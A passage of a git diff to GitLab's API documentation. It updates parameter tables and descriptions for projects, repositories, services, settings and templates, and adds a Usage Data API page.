Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster), +[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster), for example. As project repository storage moves are processed, they transition through different states. Values diff --git a/doc/api/projects.md b/doc/api/projects.md index 46997a1e8ae..50c1356dfd8 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -1125,9 +1125,9 @@ POST /projects | `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. | | `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. | -| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). | +| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). Valid values for `cadence` are: `1d` (every day), `7d` (every week), `14d` (every two weeks), `1month` (every month), or `3month` (every quarter). | | `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. | -| `default_branch` | string | **{dotted-circle}** No | `master` by default. | +| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. | | `description` | string | **{dotted-circle}** No | Short project description. | | `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. | | `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. | @@ -1148,7 +1148,7 @@ POST /projects | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | -| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | +| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful pipelines. This setting is named [**Pipelines must succeed**](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) in the project settings. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `requirements_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled` or `public` | @@ -1196,7 +1196,7 @@ POST /projects/user/:user_id | `avatar` | mixed | **{dotted-circle}** No | Image file for avatar of the project. | | `build_coverage_regex` | string | **{dotted-circle}** No | Test coverage parsing. | | `build_git_strategy` | string | **{dotted-circle}** No | The Git strategy. Defaults to `fetch`. | -| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time in minutes that a job is able run (in seconds). | +| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. | | `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. | | `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. | @@ -1269,14 +1269,14 @@ PUT /projects/:id | `avatar` | mixed | **{dotted-circle}** No | Image file for avatar of the project. | | `build_coverage_regex` | string | **{dotted-circle}** No | Test coverage parsing. | | `build_git_strategy` | string | **{dotted-circle}** No | The Git strategy. Defaults to `fetch`. | -| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time in minutes that a job is able run (in seconds). | +| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. | | `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. | | `ci_default_git_depth` | integer | **{dotted-circle}** No | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#git-shallow-clone). | | `ci_forward_deployment_enabled` | boolean | **{dotted-circle}** No | When a new deployment job starts, [skip older deployment jobs](../ci/pipelines/settings.md#skip-outdated-deployment-jobs) that are still pending | | `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). | | `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. | -| `default_branch` | string | **{dotted-circle}** No | `master` by default. | +| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. | | `description` | string | **{dotted-circle}** No | Short project description. | | `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. | | `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. | diff --git a/doc/api/repositories.md b/doc/api/repositories.md index 50dc0803646..857cd3883c8 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -157,12 +157,13 @@ GET /projects/:id/repository/compare Supported attributes: -| Attribute | Type | Required | Description | -| :--------- | :------------- | :------- | :---------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `from` | string | yes | The commit SHA or branch name. | -| `to` | string | yes | The commit SHA or branch name. | -| `straight` | boolean | no | Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. | +| Attribute | Type | Required | Description | +| :--------- | :------------- | :------- | :---------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `from` | string | yes | The commit SHA or branch name. | +| `to` | string | yes | The commit SHA or branch name. | +| `from_project_id` | integer | no | The ID to compare from | +| `straight` | boolean | no | Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. | ```plaintext GET /projects/:id/repository/compare?from=master&to=feature @@ -312,8 +313,9 @@ Supported attributes: If the `from` attribute is unspecified, GitLab uses the Git tag of the last stable version that came before the version specified in the `version` -attribute. For this to work, your project must create Git tags for versions -using one of the following formats: +attribute. This requires that Git tag names follow a specific format, allowing +GitLab to extract a version from the tag names. By default, GitLab considers +tags using these formats: - `vX.Y.Z` - `X.Y.Z` @@ -395,6 +397,18 @@ these as the changelog entries. You can enrich entries with additional data, such as a link to the merge request or details about the commit author. You can [customize the format of a changelog](#customize-the-changelog-output) section with a template. +Trailers can be manually added while editing a commit message. To include a commit +using the default trailer of `Changelog` and categorize it as a feature, the +trailer could be added to a commit message like so: + +```plaintext +<Commit message subject> + +<Commit message description> + +Changelog: feature +``` + ### Reverted commits > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55537) in GitLab 13.10. @@ -622,3 +636,51 @@ In an entry, the following variables are available (here `foo.bar` means that The `author` and `merge_request` objects might not be present if the data couldn't be determined. For example, when a commit is created without a corresponding merge request, no merge request is displayed. + +### Customize the tag format when extracting versions + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56889) in GitLab 13.11. + +GitLab uses a regular expression (using the +[re2](https://github.com/google/re2/) engine and syntax) to extract a semantic +version from tag names. The default regular expression is: + +```plaintext +^v?(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<pre>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<meta>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$ +``` + +This regular expression is based on the official +[semantic versioning](https://semver.org/) regular expression, and also includes +support for tag names that start with the letter `v`. + +If your project uses a different format for tags, you can specify a different +regular expression. The regular expression used _must_ produce the following +capture groups. If any of these capture groups are missing, the tag is ignored: + +- `major` +- `minor` +- `patch` + +The following capture groups are optional: + +- `pre`: If set, the tag is ignored. Ignoring `pre` tags ensures release candidate + tags and other pre-release tags are not considered when determining the range of + commits to generate a changelog for. +- `meta`: (Optional) Specifies build metadata. + +Using this information, GitLab builds a map of Git tags and their release +versions. It then determines what the latest tag is, based on the version +extracted from each tag. + +To specify a custom regular expression, use the `tag_regex` setting in your +changelog configuration YAML file. For example, this pattern matches tag names +such as `version-1.2.3` but not `version-1.2`. + +```yaml +--- +tag_regex: '^version-(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)$' +``` + +To test if your regular expression is working, you can use websites such as +[regex101](https://regex101.com/). If the regular expression syntax is invalid, +an error is produced when generating a changelog. diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md index 58559fe9a5f..70b804c368e 100644 --- a/doc/api/repository_files.md +++ b/doc/api/repository_files.md @@ -168,8 +168,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a Parameters: -- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb -- `ref` (required) - The name of branch, tag or commit +- `file_path` (required) - URL encoded full path to new file, such as lib%2Fclass%2Erb. +- `ref` (optional) - The name of branch, tag or commit. Default is the `HEAD` of the project. NOTE: Like [Get file from repository](repository_files.md#get-file-from-repository) you can use `HEAD` to get just file metadata. diff --git a/doc/api/runners.md b/doc/api/runners.md index 1782e236c36..c96ff1b0360 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -156,6 +156,10 @@ Example response: Get details of a runner. +[Maintainer access or higher](../user/permissions.md) is required to get runner details at the project and group level. + +Instance-level runner details via this endpoint are available to all signed in users. + ```plaintext GET /runners/:id ``` diff --git a/doc/api/services.md b/doc/api/services.md index 765f459e704..0b840d907f8 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -68,14 +68,14 @@ Example response: ## Asana -Asana - Teamwork without email +Add commit messages as comments to Asana tasks. + +See also the [Asana service documentation](../user/project/integrations/asana.md). ### Create/Edit Asana service Set Asana service for a project. -> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found gets the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>. - ```plaintext PUT /projects/:id/services/asana ``` @@ -84,8 +84,8 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `api_key` | string | true | User API token. User must have access to task, all comments are attributed to this user. | -| `restrict_to_branch` | string | false | Comma-separated list of branches which are automatically inspected. Leave blank to include all branches. | +| `api_key` | string | true | User API token. User must have access to task. All comments are attributed to this user. | +| `restrict_to_branch` | string | false | Comma-separated list of branches to be are automatically inspected. Leave blank to include all branches. | | `push_events` | boolean | false | Enable notifications for push events | ### Delete Asana service @@ -536,13 +536,13 @@ Get Confluence service settings for a project. GET /projects/:id/services/confluence ``` -## External Wiki +## External wiki Replaces the link to the internal wiki with a link to an external wiki. -### Create/Edit External Wiki service +### Create/Edit External wiki service -Set External Wiki service for a project. +Set External wiki service for a project. ```plaintext PUT /projects/:id/services/external-wiki @@ -552,19 +552,19 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `external_wiki_url` | string | true | The URL of the external Wiki | +| `external_wiki_url` | string | true | The URL of the external wiki | -### Delete External Wiki service +### Delete External wiki service -Delete External Wiki service for a project. +Delete External wiki service for a project. ```plaintext DELETE /projects/:id/services/external-wiki ``` -### Get External Wiki service settings +### Get External wiki service settings -Get External Wiki service settings for a project. +Get External wiki service settings for a project. ```plaintext GET /projects/:id/services/external-wiki @@ -692,53 +692,6 @@ Get Hangouts Chat service settings for a project. GET /projects/:id/services/hangouts-chat ``` -## HipChat - -Private group chat and IM - -### Create/Edit HipChat service - -Set HipChat service for a project. - -```plaintext -PUT /projects/:id/services/hipchat -``` - -Parameters: - -| Parameter | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `token` | string | true | Room token | -| `color` | string | false | The room color | -| `notify` | boolean | false | Enable notifications | -| `room` | string | false |Room name or ID | -| `api_version` | string | false | Leave blank for default (v2) | -| `server` | string | false | Leave blank for default. For example, `https://hipchat.example.com`. | -| `push_events` | boolean | false | Enable notifications for push events | -| `issues_events` | boolean | false | Enable notifications for issue events | -| `confidential_issues_events` | boolean | false | Enable notifications for confidential issue events | -| `merge_requests_events` | boolean | false | Enable notifications for merge request events | -| `tag_push_events` | boolean | false | Enable notifications for tag push events | -| `note_events` | boolean | false | Enable notifications for note events | -| `confidential_note_events` | boolean | false | Enable notifications for confidential note events | -| `pipeline_events` | boolean | false | Enable notifications for pipeline events | - -### Delete HipChat service - -Delete HipChat service for a project. - -```plaintext -DELETE /projects/:id/services/hipchat -``` - -### Get HipChat service settings - -Get HipChat service settings for a project. - -```plaintext -GET /projects/:id/services/hipchat -``` - ## Irker (IRC gateway) Send IRC messages, on update, to a list of recipients through an Irker gateway. @@ -814,7 +767,8 @@ Parameters: | `username` | string | yes | The username of the user created to be used with GitLab/Jira. | | `password` | string | yes | The password of the user created to be used with GitLab/Jira. | | `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). | -| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the transitions ID column. By default, this ID is set to `2`. | +| `jira_issue_transition_automatic` | boolean | no | Enable [automatic issue transitions](../integration/jira/issues.md#automatic-issue-transitions). Takes precedence over `jira_issue_transition_id` if enabled. Defaults to `false` | +| `jira_issue_transition_id` | string | no | The ID of one or more transitions for [custom issue transitions](../integration/jira/issues.md#custom-issue-transitions). Ignored if `jira_issue_transition_automatic` is enabled. Defaults to a blank string, which disables custom transitions. | | `commit_events` | boolean | false | Enable notifications for commit events | | `merge_requests_events` | boolean | false | Enable notifications for merge request events | | `comment_on_event_enabled` | boolean | false | Enable comments inside Jira issues on each GitLab event (commit / merge request) | diff --git a/doc/api/settings.md b/doc/api/settings.md index 91cbbeaf50a..6322f14442c 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -86,7 +86,11 @@ Example response: "require_admin_approval_after_user_signup": false, "personal_access_token_prefix": "GL-", "rate_limiting_response_text": null, - "keep_latest_artifact": true + "keep_latest_artifact": true, + "admin_mode": false, + "external_pipeline_validation_service_timeout": null, + "external_pipeline_validation_service_token": null, + "external_pipeline_validation_service_url": null } ``` @@ -181,7 +185,11 @@ Example response: "require_admin_approval_after_user_signup": false, "personal_access_token_prefix": "GL-", "rate_limiting_response_text": null, - "keep_latest_artifact": true + "keep_latest_artifact": true, + "admin_mode": false, + "external_pipeline_validation_service_timeout": null, + "external_pipeline_validation_service_token": null, + "external_pipeline_validation_service_url": null } ``` @@ -208,6 +216,7 @@ listed in the descriptions of the relevant settings. | Attribute | Type | Required | Description | |------------------------------------------|------------------|:------------------------------------:|-------------| +| `admin_mode` | boolean | no | Require admins to enable Admin Mode by re-authenticating for administrative tasks. | | `admin_notification_email` | string | no | Deprecated: Use `abuse_notification_email` instead. If set, [abuse reports](../user/admin_area/abuse_reports.md) are sent to this address. Abuse reports are always available in the Admin Area. | | `abuse_notification_email` | string | no | If set, [abuse reports](../user/admin_area/abuse_reports.md) are sent to this address. Abuse reports are always available in the Admin Area. | | `after_sign_out_path` | string | no | Where to redirect users after logout. | @@ -227,12 +236,12 @@ listed in the descriptions of the relevant settings. | `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. | | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | -| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage within a namespace. | +| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. | | `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | | `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. | | `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. | -| `default_branch_protection` | integer | no | Determine if developers can push to master. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. | +| `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. | | `default_ci_config_path` | string | no | Default CI configuration path for new projects (`.gitlab-ci.yml` if not set). | | `default_group_visibility` | string | no | What visibility level new groups receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `default_project_creation` | integer | no | Default project creation protection. Can take: `0` _(No one)_, `1` _(Maintainers)_ or `2` _(Developers + Maintainers)_| @@ -280,6 +289,9 @@ listed in the descriptions of the relevant settings. | `external_authorization_service_enabled` | boolean | no | (**If enabled, requires:** `external_authorization_service_default_label`, `external_authorization_service_timeout` and `external_authorization_service_url`) Enable using an external authorization service for accessing projects | | `external_authorization_service_timeout` | float | required by:<br>`external_authorization_service_enabled` | The timeout after which an authorization request is aborted, in seconds. When a request times out, access is denied to the user. (min: 0.001, max: 10, step: 0.001). | | `external_authorization_service_url` | string | required by:<br>`external_authorization_service_enabled` | URL to which authorization requests are directed. | +| `external_pipeline_validation_service_url` | string | no | URL to which pipeline validation requests are directed. | +| `external_pipeline_validation_service_token` | string | no | An optional token to include as the `X-Gitlab-Token` header in requests to the URL in external_pipeline_validation_service_url. | +| `external_pipeline_validation_service_timeout` | integer | no | How long to wait for a response from the pipeline validation service before giving up and assuming 'OK'. | | `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from | | `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. | | `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. | @@ -291,12 +303,12 @@ listed in the descriptions of the relevant settings. | `grafana_enabled` | boolean | no | Enable Grafana. | | `grafana_url` | string | no | Grafana URL. | | `gravatar_enabled` | boolean | no | Enable Gravatar. | -| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration is scheduled for removal in 14.0) | +| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled in GitLab versions 13.0 and later, configuration is scheduled for removal in 14.0) | | `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. | | `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. | | `help_page_text` | string | no | Custom text displayed on the help page. | | `help_text` | string | no | **(PREMIUM)** GitLab server administrator information | -| `hide_third_party_offers` | boolean | no | Do not display offers from third parties within GitLab. | +| `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. | | `home_page_url` | string | no | Redirect to this URL when not logged in. | | `housekeeping_bitmaps_enabled` | boolean | required by: `housekeeping_enabled` | Enable Git pack file bitmap creation. | | `housekeeping_enabled` | boolean | no | (**If enabled, requires:** `housekeeping_bitmaps_enabled`, `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period`) Enable or disable Git housekeeping. | @@ -305,7 +317,7 @@ listed in the descriptions of the relevant settings. | `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | -| `in_product_marketing_emails_enabled` | boolean | no | Enable in-product marketing emails. Enabled by default. | +| `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. | | `invisible_captcha_enabled` | boolean | no | <!-- vale gitlab.Spelling = NO --> Enable Invisible Captcha <!-- vale gitlab.Spelling = YES --> spam detection during sign-up. Disabled by default. | | `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.| | `keep_latest_artifact` | boolean | no | Prevent the deletion of the artifacts from the most recent successful jobs, regardless of the expiry time. Enabled by default. | @@ -318,7 +330,7 @@ listed in the descriptions of the relevant settings. | `max_pages_size` | integer | no | Maximum size of pages repositories in MB | | `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE SELF)** Maximum allowable lifetime for personal access tokens in days | | `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. | -| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. | +| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Administrators can configure repository mirroring. | | `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively | | `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. | | `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. | @@ -352,7 +364,7 @@ listed in the descriptions of the relevant settings. | `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. | | `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. | | `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. | -| `restricted_visibility_levels` | array of strings | no | Selected levels cannot be used by non-admin users for groups, projects or snippets. Can take `private`, `internal` and `public` as a parameter. Default is `null` which means there is no restriction. | +| `restricted_visibility_levels` | array of strings | no | Selected levels cannot be used by non-Administrator users for groups, projects or snippets. Can take `private`, `internal` and `public` as a parameter. Default is `null` which means there is no restriction. | | `rsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded RSA key. Default is `0` (no restriction). `-1` disables RSA keys. | | `send_user_confirmation_email` | boolean | no | Send confirmation email on sign-up. | | `session_expire_delay` | integer | no | Session duration in minutes. GitLab restart is required to apply changes | diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index 80037dd7aa3..cc7f703f334 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -10,8 +10,8 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. Snippet repositories can be moved between storages. This can be useful when -[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster), -for example. +[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster), for +example. As snippet repository storage moves are processed, they transition through different states. Values of `state` are: diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md index a86dc36e141..6eedf8d2bc0 100644 --- a/doc/api/templates/dockerfiles.md +++ b/doc/api/templates/dockerfiles.md @@ -1,15 +1,22 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Dockerfiles API -In GitLab, there is an API endpoint available for Dockerfiles. For more -information on Dockerfiles, see the -[Docker documentation](https://docs.docker.com/engine/reference/builder/). +GitLab provides an API endpoint for instance-level Dockerfile templates. +Default templates are defined at +[`vendor/Dockerfile`](https://gitlab.com/gitlab-org/gitlab-foss/-/tree/master/vendor/Dockerfile) +in the GitLab repository. + +## Override Dockerfile API templates **(PREMIUM SELF)** + +In [GitLab Premium and higher](https://about.gitlab.com/pricing/) tiers, GitLab instance +administrators can override templates in the +[Admin Area](../../user/admin_area/settings/instance_template_repository.md). ## List Dockerfile templates diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md index 8f78c600392..9475febdaec 100644 --- a/doc/api/templates/gitlab_ci_ymls.md +++ b/doc/api/templates/gitlab_ci_ymls.md @@ -135,7 +135,7 @@ Example response: ```json { "name": "Ruby", - "content": "# This file is a template, and might need editing before it works on your project.\n# Official language image. Look for the different tagged releases at:\n# https://hub.docker.com/r/library/ruby/tags/\nimage: \"ruby:2.5\"\n\n# Pick zero or more services to be used on all builds.\n# Only needed when using a docker container to run your tests in.\n# Check out: http://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service\nservices:\n - mysql:latest\n - redis:latest\n - postgres:latest\n\nvariables:\n POSTGRES_DB: database_name\n\n# Cache gems in between builds\ncache:\n paths:\n - vendor/ruby\n\n# This is a basic example for a gem or script which doesn't use\n# services such as redis or postgres\nbefore_script:\n - ruby -v # Print out ruby version for debugging\n # Uncomment next line if your rails app needs a JS runtime:\n # - apt-get update -q && apt-get install nodejs -yqq\n - bundle install -j $(nproc) --path vendor # Install dependencies into ./vendor/ruby\n\n# Optional - Delete if not using `rubocop`\nrubocop:\n script:\n - rubocop\n\nrspec:\n script:\n - rspec spec\n\nrails:\n variables:\n DATABASE_URL: \"postgresql://postgres:postgres@postgres:5432/$POSTGRES_DB\"\n script:\n - rails db:migrate\n - rails db:seed\n - rails test\n\n# This deploy job uses a simple deploy flow to Heroku, other providers, e.g. AWS Elastic Beanstalk\n# are supported too: https://github.com/travis-ci/dpl\ndeploy:\n type: deploy\n environment: production\n script:\n - gem install dpl\n - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_PRODUCTION_KEY\n" + "content": "# This file is a template, and might need editing before it works on your project.\n# Official language image. Look for the different tagged releases at:\n# https://hub.docker.com/r/library/ruby/tags/\nimage: \"ruby:2.5\"\n\n# Pick zero or more services to be used on all builds.\n# Only needed when using a docker container to run your tests in.\n# Check out: http://docs.gitlab.com/ee/ci/services/index.html\n - mysql:latest\n - redis:latest\n - postgres:latest\n\nvariables:\n POSTGRES_DB: database_name\n\n# Cache gems in between builds\ncache:\n paths:\n - vendor/ruby\n\n# This is a basic example for a gem or script which doesn't use\n# services such as redis or postgres\nbefore_script:\n - ruby -v # Print out ruby version for debugging\n # Uncomment next line if your rails app needs a JS runtime:\n # - apt-get update -q && apt-get install nodejs -yqq\n - bundle install -j $(nproc) --path vendor # Install dependencies into ./vendor/ruby\n\n# Optional - Delete if not using `rubocop`\nrubocop:\n script:\n - rubocop\n\nrspec:\n script:\n - rspec spec\n\nrails:\n variables:\n DATABASE_URL: \"postgresql://postgres:postgres@postgres:5432/$POSTGRES_DB\"\n script:\n - rails db:migrate\n - rails db:seed\n - rails test\n\n# This deploy job uses a simple deploy flow to Heroku, other providers, e.g. AWS Elastic Beanstalk\n# are supported too: https://github.com/travis-ci/dpl\ndeploy:\n type: deploy\n environment: production\n script:\n - gem install dpl\n - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_PRODUCTION_KEY\n" } ``` diff --git a/doc/api/usage_data.md b/doc/api/usage_data.md new file mode 100644 index 00000000000..024caa96565 --- /dev/null +++ b/doc/api/usage_data.md @@ -0,0 +1,160 @@ +--- +stage: Growth +group: Product Intelligence +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, api +--- + +# Usage Data API **(FREE SELF)** + +The Usage Data API is associated with [Usage Ping](../development/usage_ping/index.md). + +## Export metric definitions as a single YAML file + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57270) in GitLab 13.11. + +Export all metric definitions as a single YAML file, similar to the [Metrics Dictionary](../development/usage_ping/dictionary.md), for easier importing. + +```plaintext +GET /usage_data/metric_definitions +``` + +Example request: + +```shell +curl "https://gitlab.example.com/api/v4/usage_data/metric_definitions" +``` + +Example response: + +```yaml +--- +- key_path: redis_hll_counters.search.i_search_paid_monthly + description: Calculated unique users to perform a search with a paid license enabled + by month + product_section: enablement + product_stage: enablement + product_group: group::global search + product_category: global_search + value_type: number + status: data_available + time_frame: 28d + data_source: redis_hll + distribution: + - ee + tier: + - premium + - ultimate +... +``` + +## Export Usage Ping SQL queries + +This action is available only for the GitLab instance [Administrator](../user/permissions.md) users. + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57016) in GitLab 13.11. +> - 